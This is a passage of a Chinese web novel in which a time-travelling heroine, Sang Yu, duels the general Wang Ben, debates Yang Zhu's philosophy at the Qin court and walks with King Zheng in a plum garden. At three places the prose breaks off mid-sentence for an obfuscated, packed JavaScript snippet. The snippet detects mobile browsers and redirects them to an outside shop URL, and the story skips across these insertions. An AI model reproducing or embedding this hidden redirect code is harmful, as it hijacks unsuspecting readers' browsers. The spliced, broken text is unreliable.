她忽然留意到了站在赵姬身后的男子。他虽身着内侍服饰,衣料却显珍贵。即便无人介绍,桑语也猜出了他就是嫪毐。 关于嫪毐,几千年来为世人津津乐道的,是他的“特长”。 《史记·吕不韦列传》中记载“使毐以其阴关桐轮而行”。再经过野史的反复渲染,很难不让人感到好奇啊。 传说虽然总带着以讹传讹的成分,但是应该有些事实依据的。 桑语本着求实的精神,试图悄悄瞟上一眼。秦王政注意到了桑语眼神中的鬼鬼祟祟,心中生起了一股莫名的不悦。他微微侧步,挡住了她的视线。 “山主是秦国的客人,比试的内容就由你决定。王贲,你意下如何?” 王贲道:“臣以为然。” “好!”秦王政再次看向桑语,问道:“山主想要比试什么?” 桑语毫不犹豫地回答,“剑!比剑!” 殿外的风已经停歇了,天地间一片静谧无声。观战的君臣们立于九层高台之上,几名武将环布秦王政和赵太后左右,形成保护之势。 按照古代的规矩,臣子上殿不能佩剑。所以桑语此时手中握着的,是蒙毅递给她的青铜剑。 桑语反手将青铜剑背于身后,单手行了一礼,率先开口道:“请将军先出招吧!” 王贲抱拳回了个礼,并未多做客套,他道了一句“得罪”,便将手中的长剑一扬,凌厉的杀气直逼桑语的命门而去。 他这一剑快疾无比,观者登时呼吸屏止。桑语兀立如山,也不出剑,俟剑尖堪堪触到她的腰封,突地将足尖一点,身形斜飞,稳稳落在半丈之外。 这一剑,落了空。 王贲面色微变,收起剑势,遂即稳住身形,由衷赞叹:“轻功绝伦。” 桑语面上带着笑,心里暗骂混蛋。 不愧是想起“水淹大梁”的人,下手可真狠呐!这哪里是什么比试,分明是想争个你死我活! “该我出招了!” 桑语冷声说着,左臂向前一递,剑尖上光芒闪烁,疾向王贲胸口刺去。王贲急忙闪避,谁知桑语忽然脚下换位,剑尖已轻巧地滑向他的手腕。 王贲不得不收起了轻视之心。只听当的一声,两剑相交,桑语似乎渐渐被逼着后退了。 观战的君臣中,王翦摇头评价:“桑山主的武功虽然不错,可惜力道不足,恐怕要败。” “此话言之尚早,”秦王政饶有兴趣,“王将军,我们不妨打个赌如何?” 8. 杨朱 王翦好奇地问:“君上,您打算以何为赌注?” 秦王政望向缠斗着的二人。桑语显然处于下风,一招一式慢得无法再慢,已是固守而非攻敌。 “一个承诺。将军以为如何?” 王翦满是信心地笑了,“君上可要愿赌服输。” “君子一言,驷马难追!” 他们这边离得远,并未瞧见王贲额上沁出的汗珠。王贲久攻不下,又急又惊,心中暗叹桑语剑法的奇诡。 他与桑语过了不下百招,却仍未摸清破解之法。越急于攻破,反而越受她制约。 桑语手中剑把一旋,突袭王贲的大腿。王贲本能地回剑去挡,却不料桑语手腕一翻,剑刃一抬,他的剑瞬间脱手飞出。 没等他反应过来,青铜剑已经横在了他的颈脖上。 胜负已见分晓,秦王政喝了一声“好”。 桑语道了声“得罪了”,然后将剑重新入鞘,准备归还给蒙毅。刚走几步,忽闻身后掌风隐然,她轻巧地一闪身,抓住偷袭者的胳膊,顺势来了个过肩摔。 王贲暗自感到羞愧,迅速而从容地站起身。 桑语却不想放过他,偏着脑袋说道:“从背后袭击人,实非君子之行为啊,王将军!” 王贲脸上有些挂不住,抱拳高声道:“山主武艺高绝,在下甘拜下风。” 桑语皮笑肉不笑地还了一礼。 二人一同返回高台之下。 王贲低垂着眼,“君上,臣输了,输得心服口服。” 秦王政道:“人生能逢一对手,实属一件酣畅事。王贲啊,这次,你总算遇见了真正的对手。” “君上所言极是,”王贲又看向桑语,“山主的剑势虽看似绵柔,实则无坚不摧,乃我生平所仅见。不知山主可否传授几招与我?贲必心存感激,执以弟子礼于山主。” 此话一出,众人莫不惊讶。 王贲出身将门,他虽然年轻,却是天资极高之人,因而性格未免有些狂傲自大。 向来眼高于顶的人说出这样的话,众人对桑语也不由得另眼相看。他们原本认为关于桑语的传言过于夸张,如今看来,这种看法似乎并不准确。 桑语轻轻摇头,“将军此言,真是折煞我了。不过是胜在剑法奇特,哪敢这般托大?将军不耻下问,桑语敬佩至极。只是,这套剑法乃我师门独传,不能轻易外传。” 她看王贲脸色有变,笑了笑,继续说道:“将军若是不嫌弃,日后有机会,你我可以再切磋切磋。” 王贲是练武之人,自然理解这些师门规矩。既然桑语都这么说了,他顺势就坡下驴,点头说了声“好”。 “桑山主,”有中气十足的声音自桑语的身后传来,“我也想讨教一二,不知山主是否愿意赏脸?” 桑语顺着声音望去,只见一群身着黑袍的官员站在不远处。显然,他们已在旁观战了好一会儿。而那位说话的男子,桑语依稀记得曾见过一次,名唤杨端和。 大秦帝国的柱石人物,一生几乎毫无败绩。 都说“佩服得五体投地”,瞧这样的人生履历,简直是可以“六体投地”了! 桑语内心暗自叹息,她一向有自知之明。能够战胜王贲,主要是因为二人年龄相仿,且习武时间接近。 虽说她刚会走路时就开始学习剑术,但至今不过二十余年。杨端和人至中年,已有数年的战场经验了,桑语并不认为自己能够和他勉强打个平手。 正犹疑彷徨,倒是秦王政开口说道:“桑山主与王将军已经比试了半个多时辰,且让她休息休息吧。杨将军若想切磋,日后自有时机,不必急于此刻。” 杨端和听后笑道:“是臣思虑不周了,山主剑术精湛,改日我定要请教一番。” 桑语颔首,“晚辈静候将军赐教。” 王翦脸上始终带着一副温和的笑意,即使是看到自己的儿子在比试中落败。此时他才问道:“君上,臣愿赌服输,不知君上想要臣做出什么承诺?” 秦王政道,“寡人还未想好,此事不急,留待改日再说吧。将军只需记得,你欠寡人一个承诺。” “好!臣期待着君上的‘改日’!”王翦捋须,笑了。 几乎无人注意到,赵姬紧紧地用手捂着嘴,竭力抑制住干呕之声。她狠狠地瞪了嫪毐一眼,后者立刻从袖中拿出一块叠起的帕子。 赵姬接过帕子,迅速将一枚酸杏放入口中。恶心感终于得到缓解,她掩袖轻咳了几声,虚弱地唤了一声“政儿”,“阿母觉得身体有些疲乏,想要回甘泉宫歇息。诸位将军劳苦功高,你要好好敬他们几爵。” 秦王政见赵姬以手扶着腰,而且脸色着实有些憔悴。他不禁皱眉:“传太医来给母后瞧瞧……” “不要!”赵姬几乎脱口而出,随后意识到自己反应过激,便抬手抚额,“休息休息便好了的事儿,何必兴师动众!阿母只是累了,政儿不必太忧心。” “母后,真的不用传太医看看吗?” “不必麻烦。” “母后的脸色为何如此苍白?” “只是旅途劳顿而已。” 秦王政连续问了几个问题,尽管依然不放心,最终也只能目送着母亲离去。 他感觉到有一道目光朝着他盯视,遂转过身去寻找那个人,原来是桑语。 桑语依旧站在原地。一绺头发因汗水而湿漉漉地贴在她的额头上,原本白皙的脸庞因比武而泛起红晕。她的眼中似乎带有某种奇怪的情绪,像是同情。 那么,她是在同情他吗? 这简直是荒谬之谈! 这个眼神让秦王政莫名心烦,他黑着脸一甩袍袖,快步走入了大殿。 王贲客气地向桑语道:“桑山主,请。” 桑语颔首说谢,与王贲并肩走上台阶。 她抬手轻抚小腹,回想起赵姬刚才也有类似的动作。不能怪她多想,历史就是这样记载的——寡居深宫的太后已经有了身孕。 收回思绪,桑语又忍不住抬眼看去。 秦王政正走在光与影的分界处,身后有百官相随,然而他的背影却是坚决而又孤独。 嬴政的一生,伴随着无数的抛弃与背叛。他从泥泞中厮杀出来,最终成为“千古一帝”。 或许是因为他现在还未经历那么多的痛苦,所以周身的气场还不至于让人望而生惧。 只是,至亲之人的背叛,对于仅仅二十出头的年轻人来说,是否太过残忍? 殿上盛宴已设,众乐奏钧天,有细腰舞人轻舒长袖。群臣早已各自入座,却无人动筷。偶尔有大臣向殿门外张望,似乎在等待着某个人的到来。 桑语的位置在不起眼的角落里,左手边是她熟悉的李斯。她对这个位置很满意,很是自在。 正当她无聊地凝视着窃曲纹铜盘中的水果发呆时,忽然舞罢乐停,大殿内骤然安静。她抬起头,看到一位中年男子正步入大殿。 男子虽已两鬓皤然,却丰神朗朗,颔下蓄着胡须,眉宇间显出几分儒雅气度。 “吕不韦”三字,刹那间跃入桑语的脑海。 李斯略微侧过身子,压低了声音道:“秦之相邦,吕不韦。” 桑语点了点头,不禁多打量了两眼。 吕不韦久居相邦之位,此时的大秦又正是盛强。他虽已不再年轻,眼神之中仍可窥见踌躇满志。 秦王政起身走下王座。 吕不韦刚要行礼,便被他伸手扶住了,“仲父不必多礼。” “年老多忘,让君上与诸位久等了。”吕不韦一边说着一边走到王座左侧下的大案前,端起了酒爵,“大战之前,老夫曾与诸君约定,待退敌之日,定要痛饮一番。当此良夜欢会之际,老夫先敬诸位一爵,就当是老夫自罚。” 众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163462|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人纷纷举爵。 吕不韦一口饮尽爵中酒,朗声道:“大王万年!大秦万年!” 灯蕊上结出了一朵灯花,灯花爆开,却完全淹没在了“大王万年,大秦万年”的山呼声中。 吕不韦缓缓地环视了一圈,最后将目光落在了桑语的身上。桑语在人群中太明显了,她没有朝服,也没有黑色的衣裳,只能选择了一套藏蓝色的衣袍。 “君上当初的决定,是对的。”吕不韦颇为欣慰地看着秦王政,“以武镇之,则两败俱伤。为我所用,才是取利。” 秦王政闻言,也看向了桑语。只见她如其他人一般,并未动筷,但是她的脸颊在动,像是在偷偷嚼着什么。 “此人如今身在秦廷,却并不为我所用。” “哦?”吕不韦有些诧异,他朝着桑语的方向唤了一声“桑山主”。 众目睽睽之下,桑语嘴里的枣核,吞也不是,吐也不是。她只能将枣核压在舌底,起身出席,向前几步,拱手行礼,“太卜丞桑语,见过相邦!” 在座的众人听了,神情为之一惊,面面相觑。 吕不韦面上依旧平静,“太卜丞救咸阳于倒悬之急,乃秦国之功臣。日后若是有何不便处,尽管开口,不必客气,老夫定竭力而为。” “有相邦这句话,我以后便可以心安理得地叨扰您了。”桑语淡淡一笑,改变了语气,“诸位将军浴血于沙场,玄女山只是彻夜守着城楼,吾等不敢掠美。” 吕不韦眼中毫不掩饰地流露出好奇,突兀地问:“不知太卜丞师何家学问?” “有师无派。”桑语稍作犹豫,“吾师对杨朱,久有景仰之心。吾爱吾师,则爱屋及乌。” 众皆哗然,议论纷纷。 杨朱是“杨朱学派”的开山鼻祖,主张“重生”“贵己”及“为我”,认为“个人”的价值高于一切外物。作为道家大哲,杨朱的影响是极大的。在孟子的时代,言道德仁义者,不入于杨,则入于墨。 君权至上的社会里,杨朱简直就是“异类”的存在。孟子斥其为禽兽,指责“杨氏为我,是无君也”。倡导君主专制的法家同样无法容忍杨朱的主张,管仲亦有言曰:“全生之说胜,则廉耻不立”。 “损一毫利天下不与也,悉天下奉一身不取也”。杨朱的思想,立于社会与个人之间。它之于时代而言是超前的,以至于杨朱学派的继承者们容易走向某种极端。 吕不韦干巴巴地笑了两声,“太卜丞在玄女山时,庇护亡奴,收留流民,不像是‘贵己’之人。” “因为,‘重生’。”桑语的目光似有似无地从秦王政身上扫过,“百家之学问,皆有可取之处,亦有可厌之处。汲取百家之长,舍弃糟粕,不是更好吗?” “山主此言差矣,”一男子突然高声插话,“逃墨必归于杨,逃杨必归于儒。百家学问之间,向来各执是非。思想混乱歧异,则愚痴不得匿藏。舍九取一,才是安国利民之道。” 桑语转身看向说话的人,“大人之言,不无道理。思想混乱,确实会严重影响社会风气。但是,人非圣贤,孰能无过?诸子的思想,条条列列都是对的么?” “法家可以强国,因为臣民畏惧刑罚而不敢不忠。但是,将来天下大定了,民才是社稷之基。在诸位的眼中,杨朱此人,是自私自利之辈。但‘杨朱、墨翟之言盈天下’,诸位……士大夫,可曾想过,为何那些不大识字的黔首会喜欢杨朱之言,喜欢墨家之论?” 这番话可谓石破天惊,在场的大臣都怔住了。自商鞅变法以来,秦国历代君王以法家思想为治国理念。偶有质疑之声,但是非常微弱。桑语说得太直白、太严厉了,甚至言语之间还透着对秦王的不敬。 适才出言反驳桑语的男子,愤然地朝秦王政一跪,“秦国遇玄女山甚厚,桑语今日却出言不逊,辱我大秦之法,祸心已显露矣。君上,臣请杀之,以正国威!” 9. 梅月 周围的附和声不断,但桑语毫无惧色,脊背愈直。 李斯注视着秦王政,后者的脸色依旧沉静如水。李斯不解桑语为何会说出这些言辞,在他对她的认知里,她并不像那种口无顾忌之人。 王贲望了父亲一眼,站起身来,“君上,桑山主若抱祸心,又何必下山,徒然辛苦这么多日?在入咸阳之前,她屡次庇护亡奴,所思所想之不同,诸位是今日才知道的么?” “君上,相邦,”李斯施施然起身,“臣窃以为,王将军所言在理。况且,臣闻山主之言,哪里是诋毁秦法,分明是以一片赤诚之心待我大秦。苍鹘大人,您觉得呢?” 被李斯点名的苍鹘,正是最先提出“杀桑语以正国威”的大臣。他斜眼向李斯睨了一眼,鼻子里哼了一声。 李斯倒也不觉得自讨没趣,继续说道:“桑山主入了秦廷,自此,便是大王的臣,是秦国的臣。适才她能说出那些话来,正是为国事忧心也。关东六国,乃秦国势在必得之物。然,如何安抚六国的遗民,的确是件难事。桑山主开诚布公地探讨解决之道,如何能称之为祸心?分明是好心!” 说罢,他朝秦王政和吕不韦一拜,神态恭敬。他的话语在殿内回荡,让在场的所有人都不得不重新审视桑语的言论。 吕不韦手叉着腰,大笑了几声,“太卜丞适才所说的那番话,字字句句可谓用心恳切,老夫受教了。俟《吕氏春秋》书成,还请桑太卜斧正其误。” “相邦折煞我了。桑语在玄女山时就有耳闻,相邦召集了三千门客编纂《吕氏春秋》。如此皇皇巨著,能够有机会一睹为快,实乃桑语之幸。” 桑语的目光投向吕不韦,那双略带阴翳的眼睛深邃而难以捉摸。吕不韦的话,无异于告诉众人,他赞同她的观点。 桑语无法判断他的心思,有坑也只能顺着跳了。 秦王政一直默然,此刻终于开口:“桑太卜,回座上吧。” 桑语颔首应“是”,走回案后坐下。她理了理衣摆,然后以袖掩唇,终于将枣核吐出。当她再次抬头时,恰好对上了李斯的目光。 李斯眼中透出几分无奈,或许是对桑语鲁莽大胆的行为感到无言。 桑语假装没看见,向他微微点头,以示感谢。 女乐再度拨动琴弦。 弦声杳渺,同磬音和鸣酬唱着。有寒风将梅花的清香送进殿中,与乐音密密交织。 桑语一直埋头苦吃,直到半饱才从铜盘中抬起头来。她发现王贲正看向这边,便举起面前的酒爵,遥遥一敬,以嘴型说了句“谢谢”。 王贲看懂了,同样举起了酒爵,隔空相碰。 樽俎灯烛间,君臣觥筹交错。今晚不言国事,不提战争,只有美酒和佳肴,所有人都沉醉于短暂的安稳之中。 但这样的热闹里,隐伏着无尽的悲凉。 筵席散时,夜已经很深了。高台之下的空地,数辆马车有序地排列着。众臣皆醺醺然,脚步虚浮地钻进自家的马车中。 桑语刚刚一脚跨出大殿的门槛,寺人巽突然出现在了她的面前,“山主,君上有请。” “君上找我?有何事?” “山主随臣前去便知。” 寺人巽提着灯笼领路,穿过一道回廊,往南走去。沿着一片湖转过来,桑语顿时被扑鼻而来的梅花香气所吸引。 展现在眼前的是一片梅林,艳丽的红梅在银色月光的映照下静静绽放,悬挂在树枝间的宫灯泛出朦胧的光亮。 寺人巽停下了脚步,“君上在梅林里等着您。” 桑语接过灯笼,道了声谢,踩着夜色走入梅林深处。透过一簇簇密集的梅花的间隙里,能看到湖畔宫殿模糊的轮廓。终于,她看到了那个熟悉的身影。 蛾眉般的下弦月,在浮云掩映下,忽隐忽现。玄色的身影,随着月光变幻,或明或暗。 桑语不想打破这份静谧,她止住步,并未言语。 “你来了,”秦王政转过身来,“在山主的眼中,咸阳城的梅花是否与别处的梅花有所不同?” 这句话听起来似乎有些熟悉,桑语仔细回想,忆起是某日自己自言自语的话。没想到,居然被秦王政听去了。 她仰起头,看着枝头的红梅,花瓣上还盛着薄薄的落雪。 “咸阳城的梅花很美,月亮也很好看。与在玄女山中所见的,不一样。” 与在现代时所见的,也不一样。 秦王政望见她的侧脸,花影落在她的眸中,有盈盈笑意从眼角眉梢漾了开来。她与平时,似乎有些不同。在他的印象里,桑语始终都是淡淡漠漠的,除了关乎玄女山的事情,似乎没有什么能够引起她的情绪起伏。 他想要问她,究竟是为何会流露出那样的目光,充满了同情——只有弱者才需要的同情。 身为秦国的君王,他早已习惯了人们敬畏或仰慕的眼神,然而她的目光却如此不同,它触动了他心底某个未曾觉察的角落,让他感到恼怒,同时也感到了一丝不易察觉的惶恐。 他本欲开口探询,想要弄清楚那目光背后所隐藏的一切。但话语涌到嘴边,他却不敢吐露半分。他恐惧着,害怕那个可能真切存在的答案。 于是,他沉默了,所有的思绪化作了咳嗽。 秦王政忽地大咳起来,直咳得浑身颤抖。桑语在旁,本能地伸出手去。然而,就在她的手指即将触及他的衣物时,秦王政却将身形微闪,躲开了她的触碰。 桑语知趣地收回了手,待他咳嗽止住,小心地问道:“君上的病……” “无碍,”秦王政打断她的话,“偶感风寒,服几剂药便好了,并非什么大事。” 桑语并未戳破这个谎言,“无碍便好,君上的身体关乎社稷,务必要谨听医嘱,每日里按时服药。” 古代的医疗水平很低,风寒是足以夺人性命的,算不得什么“小事”。桑语初次进入章台宫时,就察觉到了似有似无的药味。算算日子,秦王政已经病了数月了。 桑语心里不由有些好奇,在朝臣们面前,秦王究竟是如何强忍咳嗽,不露半点病态的呢? 秦王政换了个话题,“寡人先前误以为,以山主的性子,不会喜欢鲜花,也不会喜欢明月。” 桑语闻言,复又抬起头,看向梅花与明月,“鲜花与利刃,是可以共存的。更何况,鲜花的绽放,需要利刃的保护。天上的那轮明月,无论沧海桑田,它都在那里,窥视着人世间的秘密和丑陋。它却永远洁白无瑕,如美玉一般。鲜花与明月,美好如斯,怎能叫人不喜欢?” 月色朦胧,树影迷离,桑语忽然感到一丝凉意袭来,她知道是时候告辞了,“多谢君上邀我赏梅。今夜的景色,我此生,怕是难以忘记了。我该告辞了,不然就该天亮了。” “寡人送山主出宫吧。” “不必……”桑语将到了嘴边的话咽了下去,“麻烦君上了。” 秦王政负手走在前面,将要走出梅林时,他止了脚步,转身说道:“山主若是喜欢梅花,不妨折一枝回去。” 桑语摇摇头:“梅花离开了梅树,很快就会枯萎。看着花瓶里的枯花,反而会徒生愧疚。它们属于枝头,还是不要打扰它们为好。” 秦王政眸中有异色一闪而过,继续往前走着。 湖水在月光下安静地闪烁生辉,水的气息却是肆意地弥漫着。二人沉默着走了一段路,秦王政又开口说道,“贵生之义,人是如此,梅花亦如是。不知寡人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦王政默了片刻,“山主似乎并不了解如今的秦国。相邦向来主张大兴‘义兵’,当年麃公率军攻打魏国卷邑,因斩首三万,反而遭受了惩处。如今虽仍有‘计首授爵’,然,凡攻城陷阵、斩将搴旗、捕获俘虏等,皆为军功,皆可授爵行赏。山主守我咸阳,如此赏赐,自然是值得的。” 所谓“义兵”,是“以诛暴君而振苦民”,是残酷战争中的一面道义旗帜。吕不韦的目的是想达到“兵不接刃而民服若化”的理想状态,然而秦国最终还是以“铁和血”的军事手段完成了中原的统一。但是“义兵”思想在一定程度上减少了大规模屠杀,在这一点上,吕不韦功不可没。 “既然君上都这么说了,那我就却之不恭了。”桑语看向被宫灯照亮的前路,斟酌着开口道:“身体是本钱,身子虚的人,纵有鸿鹄大志,也是力难从心。君上想要江山社稷,首先要爱惜自己的身体。国事固然重要,但是轻重得有个取舍。” 秦王政脚下一滞,转过身来,目光在她的脸上逡巡着,“吾父,有治国之能,然质赵数年,身虚体弱,只在位三年,便骤然病逝。雄心难酬,父王心中定是不舍的。” 桑语心里猛一抽动。夜色中虽然看不清面目神情,但是他声音中的某种东西,或许是一种悲伤,抑或是一种遗憾,让她不知所措。 她甚至想说抱歉。 秦王政很快抹平了情绪,转回身去,“山主之言,寡人记下了。多谢……山主关心。” 二人皆不再言语,只是静默着走至宫门口。宫门之前的夜空显得格外深邃,寂静中唯有夜风轻拂。桑语微微躬身,“君上,请留步。” “轺车已在宫外等候,夜色已深,山主路上小心。” 桑语再拜,然后转身离去。 秦王政站在原地,目光紧紧追随着她的身影,直到那道身影被缓缓关闭的厚重宫门吞没。 他的目光在门缝中停留了许久,最终,他还是收回了视线,转身步入深宫。 10. 酒肆 桑语斜倚着身子,手中轻轻把玩着一只酒觞。暮冬晌午的阳光透过窗格,洒下斑驳的光影,温柔地点缀在她的衣摆上。 窗棂之外,有人声鼎沸。 此地,是位于咸阳南市的商坊。各国商贾云集于此,不同的乡音交织在一起,此起彼伏。他们高谈阔论着天下局势,就一个自己一无所知的问题发表着各自的高见。 桑语已是这间酒肆的常客了。在她身旁,有一位名叫迟迟的小姑娘陪伴在侧。 这个名字很有意思,桑语起初以为“迟迟”二字是跳出了“宜早不宜迟”惯性思想的束缚。迟迟却说,这二字是取自于“春日迟迟”,因为她生在阳春三月里。 “迟迟”听起来慵懒又温柔,实际上她的性子的确很温柔。她是咸阳人氏,年纪小,今年不过十四岁,却已经当了六年的宫人。她是那种明艳的美,像阳光炽热的夏日,只是她的脸依然有婴儿肥,一定程度上削弱了这种美丽的攻击性。 秦王政将迟迟派至桑语的身边,已经有大半个月了。这段时间里,桑语让迟迟做她的向导,几乎已经逛遍了整个咸阳城。 她最喜欢的地方,就是这间酒肆。在这里,能听到各国商贾名士的谈辩,虽然其中不乏妄言绮语,但也有不少真知灼见。 此时离她不远的一桌,有三位男子正争论得不亦乐乎。他们原本是在议论“齐国苟安”,不知为何,议题突然走偏了方向。其中有一长髯汉子喝得面红脖子粗,他重重地搁下酒觞,一口气叹得百转千回。 于是有人问他,“兄台这是怎么了?” 长髯汉子道:“不瞒诸位说,我少时曾与吕不韦游。与吕不韦相比,我更有经商之才。同样的一匹布,他挣五百个布钱,我就能挣六百个。谁知如今,竟是云泥之别!他是秦国的相邦,享尽荣华富贵。而我,仍是被人瞧不起的贱商,辛苦奔波于七国之间。这就是命啊!命!” 说着说着,他痛饮了一大觞酒水。 居于右侧的黄衣中年人,露出一个意味深长的笑容,“吕不韦,忝居高位,终究只是个商人。”声音之大,整个酒肆都能听到。 停顿须臾,中年人继续说道:“今据秦王位者,生于邯郸,究竟是先王之儿,还是吕不韦孽子,恐怕只有赵太后心知肚明。” 喧闹的酒肆骤然安静了,众人皆神色微变,齐唰唰地看向中年人。 迟迟则是看向了桑语,“他们……”话还未说,就见桑语蹙了蹙眉,起身径直走到了中年人的对面坐下。 她毫不在乎旁人的眼光,嘘了一口气,笑着说道:“这位兄台,你是觉得咸阳狱太空了吗?” “你说甚?”中年人脸色骤然一沉,两只眼睛盯住桑语,“哼,哪儿来的黄毛丫头,说话这么无礼!” “哟,谢谢您夸我年轻!”桑语脸上的笑容越发灿烂,“先不论我有礼无礼!兄台,你是觉得自己的话很有理吗?适才你说的那番话,有何凭据?” “没有凭据。”中年人的眼神有些躲闪,但很快又镇定下来,“是或不是,姑娘又有何凭据?” “巧了,我也没有凭据,”桑语微微挑眉,“但是我知道,饭可以乱吃,话不能乱说。”她把手肘放在桌上,用手托着下巴,“这样不负责的流言,受到侮辱的是秦国王室,受到玷污的是先王的名声。说秦王是吕不韦孽子,兄台你是觉得,驷车庶长这些秦室宗亲们,是瞎的、死的吗?” “亦或是说,”桑语收住了笑,“大庭广众之下,散布如此谣言,是想搅乱秦国吗?兄台莫不是,打关东来的……间人?” 这番话说得轻飘飘的,却隐隐带着股震慑之意。 “你,你,你你你……”中年人顿时怒向胆边生,“你究竟是何人?为何要诬陷我?”说着,他挥动手臂,手掌用力地拍在案上,发出沉闷的声音。 “你管我是何人!”桑语看着那双愤怒的眼睛,“被人造谣的滋味,不好受吧!你不必瞪我,秦律禁止私斗,坊外的大帐里可是驻守着百位甲士呢。不过,若是兄台看我不顺眼,想要比划比划,我还是愿意奉陪。” 长髯汉子连忙打着圆场,“二位,相遇便是缘分,莫伤和气,莫伤和气哦。”他为二人各斟了一觞酒。 桑语也不希望将事情闹到难以收场的地步,她笑着捧起酒觞,向黄衣中年人说道,“玩笑话而已,兄台莫要当真了。我敬兄台一觞,全当是赔罪了。” 中年人黑着脸,却最终还是喝下了觞中酒。 忽然,一阵鼓掌声响起,桑语抬头看去,瞧见一位俊雅美秀的青年缓步从二楼走下。他有一双很好看的眼睛,似秋水桃花。 “好一个伶俐的女子!”青年站在最末一级台阶上,倚靠着楼梯栏杆,“在下有一事不解,想请教姑娘。” “请教不敢,”桑语搁下酒觞,“这位兄台,请说吧。” “蒙骜已经攻占了卫国都城濮阳,又命令卫君迁至野王。”青年的目光挨个儿掠过众人,最终落在桑语身上,“姑娘觉得,秦国的霸道行径,是值得赞美的,还是可耻的?” 桑语听到旁边传来一阵倒吸凉气的声音。提出这个问题需要胆大心野,回答这个问题亦需如是。 青年冲着桑语微微一笑,挑衅意味简直不能再明显。 桑语原本想要搪塞糊弄过去,可是此时此刻,她决定好好论一论。 “物必自腐,然后虫生。”桑语不疾不徐地开口了,“秦,自商鞅变法始,奋六世之烈,以战强国,以功论赏。商鞅虽死,其法未败也。关东六国者,韩有申不害变法,楚有吴起更制,齐有管仲改革,魏文侯更是开列国变法之先河。虽皆有富国强兵之功效,然而,或贵戚所不容,或君王昏聩。变法者身死而家灭,六国变法皆无疾而终。” “秦,久负虎狼之名。秦人之所以尚武,是因为以前的秦人活得不容易。他们居于西垂,为了生存和土地,常年与西戎作战。诸侯鄙秦,秦孝公悲愤雄起,重用商鞅变法二十余年,自此秦国军力大增。至于关东六国,明明都有过中原霸主的故事,可是如今啊,有的甚至早已没了斗志,只盼以城池换取苟安。六国的耻辱,完全是自作自受、作茧自缚。” “秦国以霸道武力征讨六国,赞美与否,各人看法不同。然而若说是‘可耻’,那么,可耻之徒另有其人。” 桑语说到这儿,便停了下来。她看向迟迟,“时辰差不多了,迟迟,我们该回去了。” 迟迟正听得愣神,冷不丁地听见自己的名字。见桑语已经起身,她连忙跟上。 “姑娘留步!”青年唤住桑语,“在下名唤相瑾,乃齐国商贾,敢问姑娘尊名?” 桑语没有回头,“行不更名坐不改姓,玄女山桑语。”说罢,她继续往门外走去。阳光笼着她,漆黑的影子好似一团薄雾。 黄衣中年人莫名打了个寒颤。 还未走出商坊,桑语听得远处隐隐有人在唤她的名字,转头去看,是一位身量高大的男子。有些眼熟,却一时想不出来是谁。 “您是……” “苍鹘!”他在桑语面前站定,客气地与她见礼。 桑语终于想起了这个人是谁。难怪她会有些恍惚,那日他是一副“横眉冷对”的神气,今日却略带笑容,着实让人感到有些陌生。 “许久不见,大人可安好?” “安好,安好……我女儿要过生辰了,我来商坊为她挑选一件礼物。”苍鹘说着,似乎有些局促。 桑语见他似乎有什么话想和自己说,便抬手指了指一处屋檐下的茶铺,“要不我们坐下说话?” 苍鹘微微点头,三人便在茶铺落座。桑语倒了一碗热茶递给苍鹘,“令嫒的生辰,是什么时候?” “三日之后。” “噢,令嫒芳龄几何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君不见,汉武帝穷兵三十余年,使得国力疲敝。他犯下了与秦始皇一样的错误,然而汉朝的政权并没有崩溃。主要原因是汉武帝有个好继承人,而且霍光也不是赵高,所以出现了“昭宣中兴”。 若是秦始皇的寿命再长一些,让他可以好好安排继承人之事,或许历史的走向又是另一种表述。 桑语拉回思绪,“大人您所质疑的,并没有不对。杨朱之学也好,墨家之论也罢,不能治乱世。终结乱世,需要强兵猛将。法家向来反对贵族世袭特权,乃乱世之学也。只是,打了这么久的仗,几百年了,天下百姓都累了,都厌倦了战争和死亡,需要休养生息,需要轻徭薄赋。” 苍鹘接过她的话头,“这时候,仓廪丰实,才是首要之务。”他眼中闪动着兴奋的光芒,继续说下去:“太卜丞所说的‘休养生息’,就是道家的‘无为而治’?” 桑语脸上浮现出一丝微笑,轻轻地点了点头,以示回应。 苍鹘急忙起身拜道:“在下先前也反复思虑过,却始终没有头绪。今日听山主这番高论,真有醍醐灌顶之效。” 桑语尴尬地笑了两声。要是真想夸赞推行“休养生息”的人,可能需要前往沛县一趟,找到一个十六岁的少年,问问他的名字,是不是叫作“刘邦”。 “大人,我还有个问题想问您。您……是文臣吧?” “不错!”苍鹘坚定地颔首,“吾生平之志,唯求为国尽言。” 桑语高兴地说了声“好”,令苍鹘有些莫名其妙。她举起陶碗敬他,“以茶代酒,敬大人。待日后天下大定,还望大人您能不忘初衷,进言劝谏。” 到了那个时候,她可能已经回到两千年之后了。 苍鹘诚挚地端起陶碗,“此臣之责也。” 陶碗碰撞之声,清脆却又微弱。 11. 梅雪 桑语与迟迟回到小院时,夜色已然深沉。椿儿手持灯笼,在门口等候着。 数日之前,她们搬出了驿馆,住进了这处院子。此地还算僻静,但登门拜访者络绎不绝。起初桑语尚能热情地招呼每一位访客,不出旬日,便有些厌烦了。她在咸阳城中闲逛,就是为了获得清净。 掩好院门,椿儿开始向桑语娓娓道来今日的情况,“有个奇怪的人一直在附近徘徊,行为举止奇怪,装束打扮更是怪异。” “是吗?有多么奇怪?” 